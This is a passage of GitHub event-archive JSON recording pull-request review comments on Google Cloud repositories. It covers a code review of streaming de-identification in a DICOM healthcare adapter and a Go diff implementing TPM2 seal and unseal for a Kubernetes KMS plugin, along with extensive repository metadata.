epos/GoogleCloudPlatform/deploymentmanager-samples/releases{/id}","deployments_url":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/deployments","created_at":"2015-03-02T19:24:40Z","updated_at":"2019-03-19T13:11:17Z","pushed_at":"2019-03-19T13:11:15Z","git_url":"git://github.com/GoogleCloudPlatform/deploymentmanager-samples.git","ssh_url":"git@github.com:GoogleCloudPlatform/deploymentmanager-samples.git","clone_url":"https://github.com/GoogleCloudPlatform/deploymentmanager-samples.git","svn_url":"https://github.com/GoogleCloudPlatform/deploymentmanager-samples","homepage":null,"size":2248,"stargazers_count":388,"watchers_count":388,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":252,"mirror_url":null,"archived":false,"open_issues_count":46,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":252,"open_issues":46,"watchers":388,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls/397"},"html":{"href":"https://github.com/GoogleCloudPlatform/deploymentmanager-samples/pull/397"},"issue":{"href":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/issues/397"},"comments":{"href":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/issues/397/comments"},"review_comments":{"href":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls/397/comments"},"review_comment":{"href":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/pulls/397/commits"},"statuses":{"href":"https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples/statuses/8202079fd7ad765b17c6e8ffe283bbbd99421227"}},"author_association":"MEMBER"}}
|
{
"id": 31558349,
"name": "GoogleCloudPlatform/deploymentmanager-samples",
"url": "https://api.github.com/repos/GoogleCloudPlatform/deploymentmanager-samples"
}
|
{
"id": 432455,
"login": "sjvanrossum",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/432455?",
"url": "https://api.github.com/users/sjvanrossum"
}
|
{
"id": 2810941,
"login": "GoogleCloudPlatform",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2810941?",
"url": "https://api.github.com/orgs/GoogleCloudPlatform"
}
| 2019-03-19T13:24:47 |
9271388020
|
{"actor":{"display_login":"sjvanrossum"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pulls/comments/337937567","pull_request_review_id":305746304,"id":337937567,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMzNzkzNzU2Nw==","diff_hunk":"@@ -72,12 +81,42 @@ protected void store(\n DicomStreamUtil.dicomStreamWithFileMetaHeader(\n sopInstanceUID, sopClassUID, transferSyntax, countingStream);\n \n- dicomWebClient.stowRs(path, inBuffer);\n+ if (redactor != null) {\n+ PipedOutputStream pipedOut = new PipedOutputStream();\n+ PipedInputStream pipedIn = new PipedInputStream(pipedOut);\n \n- log.info(\"Received C-STORE for association {}, SOP class {}, TS {}, remote AE {}\",\n- association.toString(), sopClassUID, transferSyntax, remoteAeTitle);\n- response.setInt(Tag.Status, VR.US, Status.Success);\n+ CompletableFuture<Throwable> futureThrowable = new CompletableFuture<>();\n+ association.getApplicationEntity().getDevice().execute(() -> {\n+ try {\n+ dicomWebClient.stowRs(path, pipedIn);\n+ futureThrowable.complete(null);\n+ } catch (Throwable e) {\n+ futureThrowable.complete(e);\n+ try {\n+ pipedIn.close();\n+ } catch (IOException e1) {\n+ log.error(\"Failed to close pipedIn\", e);\n+ }\n+ }\n+ });\n+\n+ try {\n+ redactor.redact(inBuffer, pipedOut);\n+ } catch (Exception e){\n+ // not sure if this isn't race condition\n+ if(!futureThrowable.isDone()) {\n+ throw e;\n+ }","path":"import/src/main/java/com/google/cloud/healthcare/imaging/dicomadapter/CStoreService.java","position":null,"original_position":73,"commit_id":"6e92c79e67bf0587b3e52cf9e9440d76c0233ee6","original_commit_id":"1ab880d154fe8ff4598142eb795e77418e1b98bf","user":{"login":"red1408","id":46771951,"node_id":"MDQ6VXNlcjQ2NzcxOTUx","avatar_url":"https://avatars2.githubusercontent.com/u/46771951?v=4","gravatar_id":"","url":"https://api.github.com/users/red1408","html_url":"https://github.com/red1408","followers_url":"https://api.github.com/users/red1408/followers","following_url":"https://api.github.com/users/red1408/following{/other_user}","gists_url":"https://api.github.com/users/red1408/gists{/gist_id}","starred_url":"https://api.github.com/users/red1408/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/red1408/subscriptions","organizations_url":"https://api.github.com/users/red1408/orgs","repos_url":"https://api.github.com/users/red1408/repos","events_url":"https://api.github.com/users/red1408/events{/privacy}","received_events_url":"https://api.github.com/users/red1408/received_events","type":"User","site_admin":false},"body":"After checking for leaks with VisualVM - yes, you are right. Any situation where either thread failed leaked the other, fixed by enclosing all pipe usages in try-with-resources.\r\n\r\nIf redactor fails while reading or actually redacting, stowRs thread gets 409 with the following details:\r\n```\r\n{\"00081198\":{\"Value\":[{\"00091097\":{\"Value\":[\"empty DICOM instance found\"],\"vr\":\"LT\"},\"00090010\":{\"Value\":[\"GOOGLE\"],\"vr\":\"LO\"},\"00081197\":{\"Value\":[272],\"vr\":\"US\"}}],\"vr\":\"SQ\"}}\r\n```\r\n\r\nI suspect if it somehow failed mid-write, that could be a problem. But doesn't seem likely, at least with current read-all, process-all, write-all sequential implementation.","created_at":"2019-10-23T09:21:02Z","updated_at":"2019-10-23T09:21:02Z","html_url":"https://github.com/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pull/43#discussion_r337937567","pull_request_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pulls/43","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pulls/comments/337937567"},"html":{"href":"https://github.com/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pull/43#discussion_r337937567"},"pull_request":{"href":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pulls/43"}},"in_reply_to_id":335185095},"pull_request":{"url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pulls/43","id":328113149,"node_id":"MDExOlB1bGxSZXF1ZXN0MzI4MTEzMTQ5","html_url":"https://github.com/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pull/43","diff_url":"https://github.com/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pull/43.diff","patch_url":"https://github.com/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pull/43.patch","issue_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/issues/43","number":43,"state":"open","locked":false,"title":"Support DeID'ing files as they go through the adaptor #22","user":{"login":"red1408","id":46771951,"node_id":"MDQ6VXNlcjQ2NzcxOTUx","avatar_url":"https://avatars2.githubusercontent.com/u/46771951?v=4","gravatar_id":"","url":"https://api.github.com/users/red1408","html_url":"https://github.com/red1408","followers_url":"https://api.github.com/users/red1408/followers","following_url":"https://api.github.com/users/red1408/following{/other_user}","gists_url":"https://api.github.com/users/red1408/gists{/gist_id}","starred_url":"https://api.github.com/users/red1408/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/red1408/subscriptions","organizations_url":"https://api.github.com/users/red1408/orgs","repos_url":"https://api.github.com/users/red1408/repos","events_url":"https://api.github.com/users/red1408/events{/privacy}","received_events_url":"https://api.github.com/users/red1408/received_events","type":"User","site_admin":false},"body":"Currently integration test uses deid-redactor from my fork. I also created pull request for deid project:\r\nhttps://github.com/GoogleCloudPlatform/healthcare-deid/pull/12","created_at":"2019-10-15T07:09:22Z","updated_at":"2019-10-23T09:21:02Z","closed_at":null,"merged_at":null,"merge_commit_sha":"5fbe94771449e13d832eb0219fe57b9f227bd464","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pulls/43/commits","review_comments_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pulls/43/comments","review_comment_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pulls/comments{/number}","comments_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/issues/43/comments","statuses_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/statuses/6e92c79e67bf0587b3e52cf9e9440d76c0233ee6","head":{"label":"red1408:14_deid_moved_redactor_changes","ref":"14_deid_moved_redactor_changes","sha":"6e92c79e67bf0587b3e52cf9e9440d76c0233ee6","user":{"login":"red1408","id":46771951,"node_id":"MDQ6VXNlcjQ2NzcxOTUx","avatar_url":"https://avatars2.githubusercontent.com/u/46771951?v=4","gravatar_id":"","url":"https://api.github.com/users/red1408","html_url":"https://github.com/red1408","followers_url":"https://api.github.com/users/red1408/followers","following_url":"https://api.github.com/users/red1408/following{/other_user}","gists_url":"https://api.github.com/users/red1408/gists{/gist_id}","starred_url":"https://api.github.com/users/red1408/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/red1408/subscriptions","organizations_url":"https://api.github.com/users/red1408/orgs","repos_url":"https://api.github.com/users/red1408/repos","events_url":"https://api.github.com/users/red1408/events{/privacy}","received_events_url":"https://api.github.com/users/red1408/received_events","type":"User","site_admin":false},"repo":{"id":191135136,"node_id":"MDEwOlJlcG9zaXRvcnkxOTExMzUxMzY=","name":"healthcare-dicom-dicomweb-adapter","full_name":"red1408/healthcare-dicom-dicomweb-adapter","private":false,"owner":{"login":"red1408","id":46771951,"node_id":"MDQ6VXNlcjQ2NzcxOTUx","avatar_url":"https://avatars2.githubusercontent.com/u/46771951?v=4","gravatar_id":"","url":"https://api.github.com/users/red1408","html_url":"https://github.com/red1408","followers_url":"https://api.github.com/users/red1408/followers","following_url":"https://api.github.com/users/red1408/following{/other_user}","gists_url":"https://api.github.com/users/red1408/gists{/gist_id}","starred_url":"https://api.github.com/users/red1408/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/red1408/subscriptions","organizations_url":"https://api.github.com/users/red1408/orgs","repos_url":"https://api.github.com/users/red1408/repos","events_url":"https://api.github.com/users/red1408/events{/privacy}","received_events_url":"https://api.github.com/users/red1408/received_events","type":"User","site_admin":false},"html_url":"https://github.com/red1408/healthcare-dicom-dicomweb-adapter","description":null,"fork":true,"url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter","forks_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/forks","keys_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/keys{/key_id}","collaborators_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/teams","hooks_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/hooks","issue_events_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/issues/events{/number}","events_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/events","assignees_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/assignees{/user}","branches_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/branches{/branch}","tags_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/tags","blobs_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/git/refs{/sha}","trees_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/git/trees{/sha}","statuses_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/statuses/{sha}","languages_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/languages","stargazers_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/stargazers","contributors_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/contributors","subscribers_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/subscribers","subscription_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/subscription","commits_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/commits{/sha}","git_commits_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/git/commits{/sha}","comments_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/comments{/number}","issue_comment_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/issues/comments{/number}","contents_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/contents/{+path}","compare_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/compare/{base}...{head}","merges_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/merges","archive_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/downloads","issues_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/issues{/number}","pulls_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/pulls{/number}","milestones_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/milestones{/number}","notifications_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/labels{/name}","releases_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/releases{/id}","deployments_url":"https://api.github.com/repos/red1408/healthcare-dicom-dicomweb-adapter/deployments","created_at":"2019-06-10T09:13:24Z","updated_at":"2019-10-09T03:36:32Z","pushed_at":"2019-10-22T11:22:13Z","git_url":"git://github.com/red1408/healthcare-dicom-dicomweb-adapter.git","ssh_url":"git@github.com:red1408/healthcare-dicom-dicomweb-adapter.git","clone_url":"https://github.com/red1408/healthcare-dicom-dicomweb-adapter.git","svn_url":"https://github.com/red1408/healthcare-dicom-dicomweb-adapter","homepage":null,"size":2092,"stargazers_count":1,"watchers_count":1,"language":"Java","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":1,"default_branch":"master"}},"base":{"label":"GoogleCloudPlatform:master","ref":"master","sha":"fdbb126b784fae2149c87770ad6887477fdab58d","user":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"repo":{"id":190783541,"node_id":"MDEwOlJlcG9zaXRvcnkxOTA3ODM1NDE=","name":"healthcare-dicom-dicomweb-adapter","full_name":"GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter","private":false,"owner":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter","description":"Adapter which transforms DIMSE requests to DICOMweb requests","fork":false,"url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter","forks_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/forks","keys_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/keys{/key_id}","collaborators_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/teams","hooks_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/hooks","issue_events_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/issues/events{/number}","events_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/events","assignees_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/assignees{/user}","branches_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/branches{/branch}","tags_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/tags","blobs_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/git/refs{/sha}","trees_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/git/trees{/sha}","statuses_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/statuses/{sha}","languages_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/languages","stargazers_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/stargazers","contributors_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/contributors","subscribers_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/subscribers","subscription_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/subscription","commits_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/commits{/sha}","git_commits_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/git/commits{/sha}","comments_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/comments{/number}","issue_comment_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/issues/comments{/number}","contents_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/contents/{+path}","compare_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/compare/{base}...{head}","merges_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/merges","archive_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/downloads","issues_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/issues{/number}","pulls_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pulls{/number}","milestones_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/milestones{/number}","notifications_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/labels{/name}","releases_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/releases{/id}","deployments_url":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/deployments","created_at":"2019-06-07T17:27:55Z","updated_at":"2019-10-16T14:09:01Z","pushed_at":"2019-10-22T11:22:14Z","git_url":"git://github.com/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter.git","ssh_url":"git@github.com:GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter.git","clone_url":"https://github.com/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter.git","svn_url":"https://github.com/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter","homepage":"","size":2068,"stargazers_count":19,"watchers_count":19,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":4,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":5,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":4,"open_issues":5,"watchers":19,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pulls/43"},"html":{"href":"https://github.com/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pull/43"},"issue":{"href":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/issues/43"},"comments":{"href":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/issues/43/comments"},"review_comments":{"href":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pulls/43/comments"},"review_comment":{"href":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/pulls/43/commits"},"statuses":{"href":"https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter/statuses/6e92c79e67bf0587b3e52cf9e9440d76c0233ee6"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 190783541,
"name": "GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter",
"url": "https://api.github.com/repos/GoogleCloudPlatform/healthcare-dicom-dicomweb-adapter"
}
|
{
"id": 46771951,
"login": "red1408",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/46771951?",
"url": "https://api.github.com/users/red1408"
}
|
{
"id": 2810941,
"login": "GoogleCloudPlatform",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2810941?",
"url": "https://api.github.com/orgs/GoogleCloudPlatform"
}
| 2019-10-23T09:21:02 |
10693697052
|
{"actor":{"display_login":"red1408"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/GoogleCloudPlatform/k8s-cloudkms-plugin/pulls/comments/278350520","pull_request_review_id":230392276,"id":278350520,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI3ODM1MDUyMA==","diff_hunk":"@@ -0,0 +1,199 @@\n+// Copyright (c) 2018, Google LLC All rights reserved.\n+//\n+// Licensed under the Apache License, Version 2.0 (the \"License\");\n+// you may not use this file except in compliance with the License.\n+// You may obtain a copy of the License at\n+//\n+// http://www.apache.org/licenses/LICENSE-2.0\n+//\n+// Unless required by applicable law or agreed to in writing, software\n+// distributed under the License is distributed on an \"AS IS\" BASIS,\n+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n+// See the License for the specific language governing permissions and\n+// limitations under the License.\n+\n+// Package tpm implements TPM2 API to seal and Unseal data.\n+package tpm\n+\n+import (\n+\t\"fmt\"\n+\t\"io\"\n+\n+\t\"github.com/golang/glog\"\n+\t\"github.com/google/go-tpm/tpm2\"\n+\t\"github.com/google/go-tpm/tpmutil\"\n+)\n+\n+var (\n+\t// Default EK template defined in:\n+\t// https://trustedcomputinggroup.org/wp-content/uploads/Credential_Profile_EK_V2.0_R14_published.pdf\n+\t// Shared SRK template based off of EK template and specified in:\n+\t// https://trustedcomputinggroup.org/wp-content/uploads/TCG-TPM-v2.0-Provisioning-Guidance-Published-v1r1.pdf\n+\tsrkTemplate = tpm2.Public{\n+\t\tType: tpm2.AlgRSA,\n+\t\tNameAlg: tpm2.AlgSHA256,\n+\t\tAttributes: tpm2.FlagFixedTPM | tpm2.FlagFixedParent | tpm2.FlagSensitiveDataOrigin | tpm2.FlagUserWithAuth | tpm2.FlagRestricted | tpm2.FlagDecrypt | tpm2.FlagNoDA,\n+\t\tAuthPolicy: nil,\n+\t\tRSAParameters: &tpm2.RSAParams{\n+\t\t\tSymmetric: &tpm2.SymScheme{\n+\t\t\t\tAlg: tpm2.AlgAES,\n+\t\t\t\tKeyBits: 128,\n+\t\t\t\tMode: tpm2.AlgCFB,\n+\t\t\t},\n+\t\t\tKeyBits: 2048,\n+\t\t\tExponent: 0,\n+\t\t\tModulusRaw: make([]byte, 256),\n+\t\t},\n+\t}\n+)\n+\n+func Seal(tpmPath string, pcr int, srkPassword, objectPassword string, dataToSeal []byte) (privateArea, publicArea []byte, retErr error) {\n+\t// Open the TPM\n+\trwc, err := tpm2.OpenTPM(tpmPath)\n+\tif err != nil {\n+\t\treturn nil, nil, fmt.Errorf(\"can't open TPM %q: %v\", tpmPath, err)\n+\t}\n+\tdefer func() {\n+\t\tif err := rwc.Close(); err != nil {\n+\t\t\tretErr = fmt.Errorf(\"%v\\ncan't close TPM %q: %v\", retErr, tpmPath, err)\n+\t\t}\n+\t}()\n+\n+\t// Create the parent key against which to seal the data\n+\tsrkHandle, _, err := tpm2.CreatePrimary(rwc, tpm2.HandleOwner, tpm2.PCRSelection{}, \"\", srkPassword, srkTemplate)\n+\tif err != nil {\n+\t\treturn nil, nil, fmt.Errorf(\"can't create primary key: %v\", err)\n+\t}\n+\tdefer func() {\n+\t\tif err := tpm2.FlushContext(rwc, srkHandle); err != nil {\n+\t\t\tretErr = fmt.Errorf(\"%v\\nunable to flush SRK handle %q: %v\", retErr, srkHandle, err)\n+\t\t}\n+\t}()\n+\tglog.Infof(\"Created parent key with handle: 0x%x\\n\", srkHandle)\n+\n+\t// Note the value of the pcr against which we will seal the data\n+\tpcrVal, err := tpm2.ReadPCR(rwc, pcr, tpm2.AlgSHA256)\n+\tif err != nil {\n+\t\treturn nil, nil, fmt.Errorf(\"unable to read PCR: %v\", err)\n+\t}\n+\tglog.Infof(\"PCR %v value: 0x%x\\n\", pcr, pcrVal)\n+\n+\t// Get the authorization policy that will protect the data to be sealed\n+\tsessHandle, policy, err := policyPCRPasswordSession(rwc, pcr, objectPassword)\n+\tif err != nil {\n+\t\treturn nil, nil, fmt.Errorf(\"unable to get policy: %v\", err)\n+\t}\n+\tif err := tpm2.FlushContext(rwc, sessHandle); err != nil {\n+\t\treturn nil, nil, fmt.Errorf(\"unable to flush session: %v\", err)\n+\t}\n+\tglog.Infof(\"Created authorization policy: 0x%x\\n\", policy)\n+\n+\t// Seal the data to the parent key and the policy\n+\tprivateArea, publicArea, retErr = tpm2.Seal(rwc, srkHandle, srkPassword, objectPassword, policy, dataToSeal)\n+\tif retErr != nil {\n+\t\treturn nil, nil, fmt.Errorf(\"unable to seal data: %v\", err)\n+\t}\n+\tglog.Infof(\"Sealed data: 0x%x\\n\", privateArea)\n+\n+\treturn privateArea, publicArea, nil\n+}\n+\n+// Returns the unsealed data\n+func Unseal(tpmPath string, pcr int, srkPassword, objectPassword string, privateArea, publicArea []byte) (data []byte, retErr error) {\n+\t// Open the TPM\n+\trwc, err := tpm2.OpenTPM(tpmPath)\n+\tif err != nil {\n+\t\treturn nil, fmt.Errorf(\"can't open TPM %q: %v\", tpmPath, err)\n+\t}\n+\tdefer func() {\n+\t\tif err := rwc.Close(); err != nil {\n+\t\t\tretErr = fmt.Errorf(\"%v\\ncan't close TPM %q: %v\", retErr, tpmPath, err)\n+\t\t}\n+\t}()\n+\n+\t// Create the parent key against which to seal the data\n+\tsrkHandle, _, err := tpm2.CreatePrimary(rwc, 